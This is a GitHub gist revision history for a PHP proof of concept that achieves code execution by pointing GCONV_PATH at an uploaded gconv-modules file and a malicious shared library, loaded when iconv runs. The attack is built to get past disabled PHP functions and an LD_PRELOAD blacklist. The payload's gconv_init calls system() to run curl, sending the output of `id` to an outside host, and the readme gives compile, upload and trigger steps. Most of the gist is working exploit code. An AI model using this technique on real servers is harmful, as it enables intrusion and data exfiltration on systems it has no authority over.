Skip to content

Instantly share code, notes, and snippets.

@LoadLow
Last active August 14, 2023 13:55
Show Gist options
  • Save LoadLow/90b60bd5535d6c3927bb24d5f9955b80 to your computer and use it in GitHub Desktop.
Save LoadLow/90b60bd5535d6c3927bb24d5f9955b80 to your computer and use it in GitHub Desktop.

Revisions

  1. LoadLow revised this gist Nov 4, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Readme.md
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ It uses `iconv`, in php, in order to execute the same payload.

    Uses cases :
    - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled but you can `setenv` but `LD_PRELOAD` is blacklisted.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled but you can `setenv` (and `LD_PRELOAD` is blacklisted).

    In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`.

  2. LoadLow revised this gist Nov 4, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Readme.md
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@ It uses `iconv`, in php, in order to execute the same payload.

    Uses cases :
    - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled but you can `setenv` but `LD_PRELOAD` is blacklisted.

    In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`.

  3. LoadLow revised this gist Nov 4, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Readme.md
    Original file line number Diff line number Diff line change
    @@ -5,7 +5,7 @@ Credits: @hugeh0ge
    It uses `iconv`, in php, in order to execute the same payload.

    Uses cases :
    - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.

    In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`.
  4. LoadLow revised this gist Nov 4, 2019. No changes.
  5. LoadLow revised this gist Nov 4, 2019. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions Readme.md
    Original file line number Diff line number Diff line change
    @@ -10,12 +10,14 @@ Uses cases :

    In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`.

    Compile the payload library
    1. Compile the payload library.
    ```bash
    gcc payload.c -o payload.so -shared -fPIC
    ```

    Exec the php payload
    2. Upload / write the files `gconv-modules` and `payload.so` on the server.

    3. Trigger the php code stored on the server
    ```bash
    curl https://mysuperserver.com/poc.php
    ```
  6. LoadLow revised this gist Nov 4, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Readme.md
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@ Credits: @hugeh0ge

    It uses `iconv`, in php, in order to execute the same payload.

    Use cases :
    Uses cases :
    - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.

  7. LoadLow revised this gist Nov 4, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion payload.c
    Original file line number Diff line number Diff line change
    @@ -5,6 +5,6 @@ void gconv() {}

    void gconv_init() {
    puts("pwned");
    system("id=`id`;curl http://foo.bar --data=\"$id\"");
    system("id=`id`;curl http://foo.bar --data \"$id\"");
    exit(0);
    }
  8. LoadLow revised this gist Nov 4, 2019. 3 changed files with 5 additions and 3 deletions.
    2 changes: 2 additions & 0 deletions Readme.md
    Original file line number Diff line number Diff line change
    @@ -8,6 +8,8 @@ Use cases :
    - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.

    In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`.

    Compile the payload library
    ```bash
    gcc payload.c -o payload.so -shared -fPIC
    4 changes: 2 additions & 2 deletions gconv-modules
    Original file line number Diff line number Diff line change
    @@ -1,2 +1,2 @@
    module PAYLOAD// INTERNAL ../../../../../../../../var/www/html/payload 2
    module INTERNAL PAYLOAD// ../../../../../../../../var/www/html/payload 2
    module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
    module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
    2 changes: 1 addition & 1 deletion poc.php
    Original file line number Diff line number Diff line change
    @@ -1,2 +1,2 @@
    putenv("GCONV_PATH=.");
    putenv("GCONV_PATH=/tmp");
    iconv("payload", "UTF-8", "whatever");
  9. LoadLow revised this gist Nov 4, 2019. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions Readme.md
    Original file line number Diff line number Diff line change
    @@ -8,9 +8,12 @@ Use cases :
    - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.

    Compile the payload library
    ```bash
    gcc payload.c -o payload.so -shared -fPIC
    ```

    Exec the php payload
    ```bash
    curl https://mysuperserver.com/poc.php
    ```
  10. LoadLow revised this gist Nov 4, 2019. 4 changed files with 30 additions and 1 deletion.
    17 changes: 16 additions & 1 deletion Readme.md
    Original file line number Diff line number Diff line change
    @@ -1 +1,16 @@
    https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/This is based on
    This is based on https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/

    Credits: @hugeh0ge

    It uses `iconv`, in php, in order to execute the same payload.

    Use cases :
    - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path.
    - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled.

    gcc payload.c -o payload.so -shared -fPIC
    ```
    ```bash
    curl https://mysuperserver.com/poc.php
    ```
    2 changes: 2 additions & 0 deletions gconv-modules
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    module PAYLOAD// INTERNAL ../../../../../../../../var/www/html/payload 2
    module INTERNAL PAYLOAD// ../../../../../../../../var/www/html/payload 2
    10 changes: 10 additions & 0 deletions payload.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,10 @@
    #include <stdio.h>
    #include <stdlib.h>

    void gconv() {}

    void gconv_init() {
    puts("pwned");
    system("id=`id`;curl http://foo.bar --data=\"$id\"");
    exit(0);
    }
    2 changes: 2 additions & 0 deletions poc.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    putenv("GCONV_PATH=.");
    iconv("payload", "UTF-8", "whatever");
  11. LoadLow created this gist Nov 4, 2019.
    1 change: 1 addition & 0 deletions Readme.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/This is based on